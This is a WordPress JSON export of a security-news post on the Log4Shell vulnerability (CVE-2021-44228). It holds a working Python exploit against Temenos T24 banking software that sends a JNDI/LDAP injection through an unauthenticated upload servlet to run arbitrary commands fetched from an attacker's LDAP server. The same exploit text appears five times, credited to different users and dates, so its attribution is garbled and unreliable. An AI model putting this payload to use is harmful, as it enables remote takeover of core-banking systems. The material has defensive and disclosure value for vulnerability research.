\nApache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.<\/p>\n
**Recent assessments:** <\/p>\n
**blobla01** at December 21, 2021 1:23am UTC reported:<\/p>\n
The vulnerabilities exists in Temenos T24, widely used in core-banking,
There\u2019re many entrypoints to trigger this vulnerability, as an example, i used the FileUploadServlet, because it\u2019s accessible without any authentication:<\/p>\n
package com.temenos.t24browser.servlets;<\/p>\n
public class FileUploadServlet extends HttpServlet {
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
FileUploadServlet.InnerServletClass innerObj = new FileUploadServlet.InnerServletClass(request);
\/\/truncated
if (paramName.equalsIgnoreCase(“uploadType”)) {
innerObj.setUploadType(paramValue);
innerObj.setUploadTypeInfoFromT24(); <=
\/\/truncated<\/p>\n
The uploadType is passed from user input, then passed to the innerObj
Content of innerObj.setUploadTypeInfoFromT24():<\/p>\n
private void setUploadTypeInfoFromT24() {
try {
String responseXml = FileUploadServlet.this.sendUtilityRequest(“OS.GET.UPLOAD.TYPE.INFO”, this.uploadType, this.request);
String uploadTypeInfo = Utils.getNodeFromString(responseXml, “uploadTypeInfo”);
if (FileUploadServlet.LOGGER.isDebugEnabled()) {
FileUploadServlet.LOGGER.debug(“File upload: uploadTypeInfo=” + uploadTypeInfo);
}<\/p>\n
if (!uploadTypeInfo.contains(““)) {
throw new IllegalArgumentException(“EB-FILE.UPLOAD.TYPE.NOT.FOUND|” + this.uploadType + “|”); <=
}
}<\/p>\nAs you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),
PoC script:<\/p>\n
import requests
import base64
import sys<\/p>\n
target = sys.argv[1]
cmd = base64.b64encode(sys.argv[2])
print(“Attacking ” + target)
print(“Cmd: “+ sys.argv[2])
ldap_url = “ldap:\/\/:2389\/Deserialization\/ROME\/command\/base64\/”+cmd<\/p>\n burp0_url = target + “\/BrowserWeb\/servlet\/BrowserServlet”
burp0_headers = {“Upgrade-Insecure-Requests”: “1”, “User-Agent”: “Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/92.0.4515.159 Safari\/537.36”, “Accept”: “text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9”, “Referer”: target + “\/BrowserWeb\/”, “Accept-Encoding”: “gzip, deflate”, “Accept-Language”: “en-US,en;q=0.9”, “Connection”: “close”}
ct = requests.get(burp0_url, headers=burp0_headers, verify=False)
token = ct.cookies.get(‘JSESSIONID’)<\/p>\n
burp0_url = target + “\/BrowserWeb\/servlet\/FileUploadServlet”
burp0_cookies = {“JSESSIONID”: token}
burp0_headers = {“Cache-Control”: “max-age=0”, “Upgrade-Insecure-Requests”: “1”, “Content-Type”: “multipart\/form-data; boundary=—-WebKitFormBoundarygrfK28lThpyA12GG”, “User-Agent”: “Mozilla\/5.0”, “Connection”: “close”}
burp0_data = “——WebKitFormBoundarygrfK28lThpyA12GG\\r\\nContent-Disposition: form-data; name=\\”uploadType\\”\\r\\n\\r\\n${jndi:”+ldap_url+”}\\r\\n\\r\\n——WebKitFormBoundarygrfK28lThpyA12GG–\\r\\n”
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)<\/p>\n
**AmirFedida** at December 12, 2021 8:47am UTC reported:<\/p>\n
The vulnerabilities exists in Temenos T24, widely used in core-banking,
There\u2019re many entrypoints to trigger this vulnerability, as an example, i used the FileUploadServlet, because it\u2019s accessible without any authentication:<\/p>\n
package com.temenos.t24browser.servlets;<\/p>\n
public class FileUploadServlet extends HttpServlet {
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
FileUploadServlet.InnerServletClass innerObj = new FileUploadServlet.InnerServletClass(request);
\/\/truncated
if (paramName.equalsIgnoreCase(“uploadType”)) {
innerObj.setUploadType(paramValue);
innerObj.setUploadTypeInfoFromT24(); <=
\/\/truncated<\/p>\n
The uploadType is passed from user input, then passed to the innerObj
Content of innerObj.setUploadTypeInfoFromT24():<\/p>\n
private void setUploadTypeInfoFromT24() {
try {
String responseXml = FileUploadServlet.this.sendUtilityRequest(“OS.GET.UPLOAD.TYPE.INFO”, this.uploadType, this.request);
String uploadTypeInfo = Utils.getNodeFromString(responseXml, “uploadTypeInfo”);
if (FileUploadServlet.LOGGER.isDebugEnabled()) {
FileUploadServlet.LOGGER.debug(“File upload: uploadTypeInfo=” + uploadTypeInfo);
}<\/p>\n
if (!uploadTypeInfo.contains(““)) {
throw new IllegalArgumentException(“EB-FILE.UPLOAD.TYPE.NOT.FOUND|” + this.uploadType + “|”); <=
}
}<\/p>\nAs you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),
PoC script:<\/p>\n
import requests
import base64
import sys<\/p>\n
target = sys.argv[1]
cmd = base64.b64encode(sys.argv[2])
print(“Attacking ” + target)
print(“Cmd: “+ sys.argv[2])
ldap_url = “ldap:\/\/:2389\/Deserialization\/ROME\/command\/base64\/”+cmd<\/p>\n burp0_url = target + “\/BrowserWeb\/servlet\/BrowserServlet”
burp0_headers = {“Upgrade-Insecure-Requests”: “1”, “User-Agent”: “Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/92.0.4515.159 Safari\/537.36”, “Accept”: “text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9”, “Referer”: target + “\/BrowserWeb\/”, “Accept-Encoding”: “gzip, deflate”, “Accept-Language”: “en-US,en;q=0.9”, “Connection”: “close”}
ct = requests.get(burp0_url, headers=burp0_headers, verify=False)
token = ct.cookies.get(‘JSESSIONID’)<\/p>\n
burp0_url = target + “\/BrowserWeb\/servlet\/FileUploadServlet”
burp0_cookies = {“JSESSIONID”: token}
burp0_headers = {“Cache-Control”: “max-age=0”, “Upgrade-Insecure-Requests”: “1”, “Content-Type”: “multipart\/form-data; boundary=—-WebKitFormBoundarygrfK28lThpyA12GG”, “User-Agent”: “Mozilla\/5.0”, “Connection”: “close”}
burp0_data = “——WebKitFormBoundarygrfK28lThpyA12GG\\r\\nContent-Disposition: form-data; name=\\”uploadType\\”\\r\\n\\r\\n${jndi:”+ldap_url+”}\\r\\n\\r\\n——WebKitFormBoundarygrfK28lThpyA12GG–\\r\\n”
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)<\/p>\n
**nu11secur1ty** at December 19, 2021 9:49am UTC reported:<\/p>\n
The vulnerabilities exists in Temenos T24, widely used in core-banking,
There\u2019re many entrypoints to trigger this vulnerability, as an example, i used the FileUploadServlet, because it\u2019s accessible without any authentication:<\/p>\n
package com.temenos.t24browser.servlets;<\/p>\n
public class FileUploadServlet extends HttpServlet {
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
FileUploadServlet.InnerServletClass innerObj = new FileUploadServlet.InnerServletClass(request);
\/\/truncated
if (paramName.equalsIgnoreCase(“uploadType”)) {
innerObj.setUploadType(paramValue);
innerObj.setUploadTypeInfoFromT24(); <=
\/\/truncated<\/p>\n
The uploadType is passed from user input, then passed to the innerObj
Content of innerObj.setUploadTypeInfoFromT24():<\/p>\n
private void setUploadTypeInfoFromT24() {
try {
String responseXml = FileUploadServlet.this.sendUtilityRequest(“OS.GET.UPLOAD.TYPE.INFO”, this.uploadType, this.request);
String uploadTypeInfo = Utils.getNodeFromString(responseXml, “uploadTypeInfo”);
if (FileUploadServlet.LOGGER.isDebugEnabled()) {
FileUploadServlet.LOGGER.debug(“File upload: uploadTypeInfo=” + uploadTypeInfo);
}<\/p>\n
if (!uploadTypeInfo.contains(““)) {
throw new IllegalArgumentException(“EB-FILE.UPLOAD.TYPE.NOT.FOUND|” + this.uploadType + “|”); <=
}
}<\/p>\nAs you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),
PoC script:<\/p>\n
import requests
import base64
import sys<\/p>\n
target = sys.argv[1]
cmd = base64.b64encode(sys.argv[2])
print(“Attacking ” + target)
print(“Cmd: “+ sys.argv[2])
ldap_url = “ldap:\/\/:2389\/Deserialization\/ROME\/command\/base64\/”+cmd<\/p>\n burp0_url = target + “\/BrowserWeb\/servlet\/BrowserServlet”
burp0_headers = {“Upgrade-Insecure-Requests”: “1”, “User-Agent”: “Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/92.0.4515.159 Safari\/537.36”, “Accept”: “text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9”, “Referer”: target + “\/BrowserWeb\/”, “Accept-Encoding”: “gzip, deflate”, “Accept-Language”: “en-US,en;q=0.9”, “Connection”: “close”}
ct = requests.get(burp0_url, headers=burp0_headers, verify=False)
token = ct.cookies.get(‘JSESSIONID’)<\/p>\n
burp0_url = target + “\/BrowserWeb\/servlet\/FileUploadServlet”
burp0_cookies = {“JSESSIONID”: token}
burp0_headers = {“Cache-Control”: “max-age=0”, “Upgrade-Insecure-Requests”: “1”, “Content-Type”: “multipart\/form-data; boundary=—-WebKitFormBoundarygrfK28lThpyA12GG”, “User-Agent”: “Mozilla\/5.0”, “Connection”: “close”}
burp0_data = “——WebKitFormBoundarygrfK28lThpyA12GG\\r\\nContent-Disposition: form-data; name=\\”uploadType\\”\\r\\n\\r\\n${jndi:”+ldap_url+”}\\r\\n\\r\\n——WebKitFormBoundarygrfK28lThpyA12GG–\\r\\n”
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)<\/p>\n
**ccondon-r7** at December 10, 2021 6:39pm UTC reported:<\/p>\n
The vulnerabilities exists in Temenos T24, widely used in core-banking,
There\u2019re many entrypoints to trigger this vulnerability, as an example, i used the FileUploadServlet, because it\u2019s accessible without any authentication:<\/p>\n
package com.temenos.t24browser.servlets;<\/p>\n
public class FileUploadServlet extends HttpServlet {
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
FileUploadServlet.InnerServletClass innerObj = new FileUploadServlet.InnerServletClass(request);
\/\/truncated
if (paramName.equalsIgnoreCase(“uploadType”)) {
innerObj.setUploadType(paramValue);
innerObj.setUploadTypeInfoFromT24(); <=
\/\/truncated<\/p>\n
The uploadType is passed from user input, then passed to the innerObj
Content of innerObj.setUploadTypeInfoFromT24():<\/p>\n
private void setUploadTypeInfoFromT24() {
try {
String responseXml = FileUploadServlet.this.sendUtilityRequest(“OS.GET.UPLOAD.TYPE.INFO”, this.uploadType, this.request);
String uploadTypeInfo = Utils.getNodeFromString(responseXml, “uploadTypeInfo”);
if (FileUploadServlet.LOGGER.isDebugEnabled()) {
FileUploadServlet.LOGGER.debug(“File upload: uploadTypeInfo=” + uploadTypeInfo);
}<\/p>\n
if (!uploadTypeInfo.contains(““)) {
throw new IllegalArgumentException(“EB-FILE.UPLOAD.TYPE.NOT.FOUND|” + this.uploadType + “|”); <=
}
}<\/p>\nAs you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),
PoC script:<\/p>\n
import requests
import base64
import sys<\/p>\n
target = sys.argv[1]
cmd = base64.b64encode(sys.argv[2])
print(“Attacking ” + target)
print(“Cmd: “+ sys.argv[2])
ldap_url = “ldap:\/\/:2389\/Deserialization\/ROME\/command\/base64\/”+cmd<\/p>\n burp0_url = target + “\/BrowserWeb\/servlet\/BrowserServlet”
burp0_headers = {“Upgrade-Insecure-Requests”: “1”, “User-Agent”: “Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/92.0.4515.159 Safari\/537.36”, “Accept”: “text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9”, “Referer”: target + “\/BrowserWeb\/”, “Accept-Encoding”: “gzip, deflate”, “Accept-Language”: “en-US,en;q=0.9”, “Connection”: “close”}
ct = requests.get(burp0_url, headers=burp0_headers, verify=False)
token = ct.cookies.get(‘JSESSIONID’)<\/p>\n
burp0_url = target + “\/BrowserWeb\/servlet\/FileUploadServlet”
burp0_cookies = {“JSESSIONID”: token}
burp0_headers = {“Cache-Control”: “max-age=0”, “Upgrade-Insecure-Requests”: “1”, “Content-Type”: “multipart\/form-data; boundary=—-WebKitFormBoundarygrfK28lThpyA12GG”, “User-Agent”: “Mozilla\/5.0”, “Connection”: “close”}
burp0_data = “——WebKitFormBoundarygrfK28lThpyA12GG\\r\\nContent-Disposition: form-data; name=\\”uploadType\\”\\r\\n\\r\\n${jndi:”+ldap_url+”}\\r\\n\\r\\n——WebKitFormBoundarygrfK28lThpyA12GG–\\r\\n”
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)<\/p>\n
**RhinosF1** at December 10, 2021 10:48pm UTC reported:<\/p>\n
The vulnerabilities exists in Temenos T24, widely used in core-banking,
There\u2019re many entrypoints to trigger this vulnerability, as an example, i used the FileUploadServlet, because it\u2019s accessible without any authentication:<\/p>\n
package com.temenos.t24browser.servlets;<\/p>\n
public class FileUploadServlet extends HttpServlet {
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
FileUploadServlet.InnerServletClass innerObj = new FileUploadServlet.InnerServletClass(request);
\/\/truncated
if (paramName.equalsIgnoreCase(“uploadType”)) {
innerObj.setUploadType(paramValue);
innerObj.setUploadTypeInfoFromT24(); <=
\/\/truncated<\/p>\n
The uploadType is passed from user input, then passed to the innerObj
Content of innerObj.setUploadTypeInfoFromT24():<\/p>\n
private void setUploadTypeInfoFromT24() {
try {
String responseXml = FileUploadServlet.this.sendUtilityRequest(“OS.GET.UPLOAD.TYPE.INFO”, this.uploadType, this.request);
String uploadTypeInfo = Utils.getNodeFromString(responseXml, “uploadTypeInfo”);
if (FileUploadServlet.LOGGER.isDebugEnabled()) {
FileUploadServlet.LOGGER.debug(“File upload: uploadTypeInfo=” + uploadTypeInfo);
}<\/p>\n
if (!uploadTypeInfo.contains(““)) {
throw new IllegalArgumentException(“EB-FILE.UPLOAD.TYPE.NOT.FOUND|” + this.uploadType + “|”); <=
}
}<\/p>\nAs you can see, if the uploadType is invalidated, an exception will be thrown and passed to the LOGGER.error(),
PoC script:<\/p>\n
import requests
import base64
import sys<\/p>\n
target = sys.argv[1]
cmd = base64.b64encode(sys.argv[2])
print(“Attacking ” + target)
print(“Cmd: “+ sys.argv[2])
ldap_url = “ldap:\/\/:2389\/Deserialization\/ROME\/command\/base64\/”+cmd<\/p>\n burp0_url = target + “\/BrowserWeb\/servlet\/BrowserServlet”
burp0_headers = {“Upgrade-Insecure-Requests”: “1”, “User-Agent”: “Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/92.0.4515.159 Safari\/537.36”, “Accept”: “text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9”, “Referer”: target + “\/BrowserWeb\/”, “Accept-Encoding”: “gzip, deflate”, “Accept-Language”: “en-US,en;q=0.9”, “Connection”: “close”}
ct = requests.get(burp0_url, headers=burp0_headers, verify=False)
token = ct.cookies.get(‘JSESSIONID’)<\/p>\n
burp0_url = target + “\/BrowserWeb\/servlet\/FileUploadServlet”
burp0_cookies = {“JSESSIONID”: token}
burp0_headers = {“Cache-Control”: “max-age=0”, “Upgrade-Insecure-Requests”: “1”, “Content-Type”: “multipart\/form-data; boundary=—-WebKitFormBoundarygrfK28lThpyA12GG”, “User-Agent”: “Mozilla\/5.0”, “Connection”: “close”}
burp0_data = “——WebKitFormBoundarygrfK28lThpyA12GG\\r\\nContent-Disposition: form-data; name=\\”uploadType\\”\\r\\n\\r\\n${jndi:”+ldap_url+”}\\r\\n\\r\\n——WebKitFormBoundarygrfK28lThpyA12GG–\\r\\n”
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, verify=False)<\/p>\n
Assessed Attacker Value: 5
Assessed Attacker Value: 5Assessed Attacker Value: 5\n<\/div>\n
View Advisory Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Security Update News Update Information Title CVE-2021-44228 (Log4Shell) Update ID AKB:0B6C144F-2E5A-4D5E-B629-E45C2530CB94 Type attackerkb Published 2025-05-05T00:00:00 Last Updated 2025-05-05T00:00:00 Security Impact CVSS Score 10.0 Severity CRITICAL…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[103,9,6,8,36,12,13,7,11,5],"class_list":["post-3117","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-attackerkb","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
CVE-2021-44228 (Log4Shell) - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=3117\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"CVE-2021-44228 (Log4Shell) - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Security Update News Update Information Title CVE-2021-44228 (Log4Shell) Update ID AKB:0B6C144F-2E5A-4D5E-B629-E45C2530CB94 Type attackerkb Published 2025-05-05T00:00:00 Last Updated 2025-05-05T00:00:00 Security Impact CVSS Score 10.0 Severity CRITICAL...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=3117\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-05-06T01:01:08+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3117#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3117\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"CVE-2021-44228 (Log4Shell)\",\"datePublished\":\"2025-05-06T01:01:08+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3117\"},\"wordCount\":234,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"attackerkb\",\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=3117#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3117\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3117\",\"name\":\"CVE-2021-44228 (Log4Shell) - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-05-06T01:01:08+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3117#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=3117\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3117#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"CVE-2021-44228 (Log4Shell)\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"CVE-2021-44228 (Log4Shell) - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=3117","og_locale":"en_US","og_type":"article","og_title":"CVE-2021-44228 (Log4Shell) - zero redgem","og_description":"Security Update News Update Information Title CVE-2021-44228 (Log4Shell) Update ID AKB:0B6C144F-2E5A-4D5E-B629-E45C2530CB94 Type attackerkb Published 2025-05-05T00:00:00 Last Updated 2025-05-05T00:00:00 Security Impact CVSS Score 10.0 Severity CRITICAL...","og_url":"https:\/\/zero.redgem.net\/?p=3117","og_site_name":"zero redgem","article_published_time":"2025-05-06T01:01:08+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=3117#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=3117"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"CVE-2021-44228 (Log4Shell)","datePublished":"2025-05-06T01:01:08+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=3117"},"wordCount":234,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["attackerkb","CRITICAL","CVE","CVSS","CVSS-10.0","exploit","news","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=3117#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=3117","url":"https:\/\/zero.redgem.net\/?p=3117","name":"CVE-2021-44228 (Log4Shell) - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-05-06T01:01:08+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=3117#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=3117"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=3117#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"CVE-2021-44228 (Log4Shell)"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/3117","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3117"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/3117\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3117"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3117"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3117"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}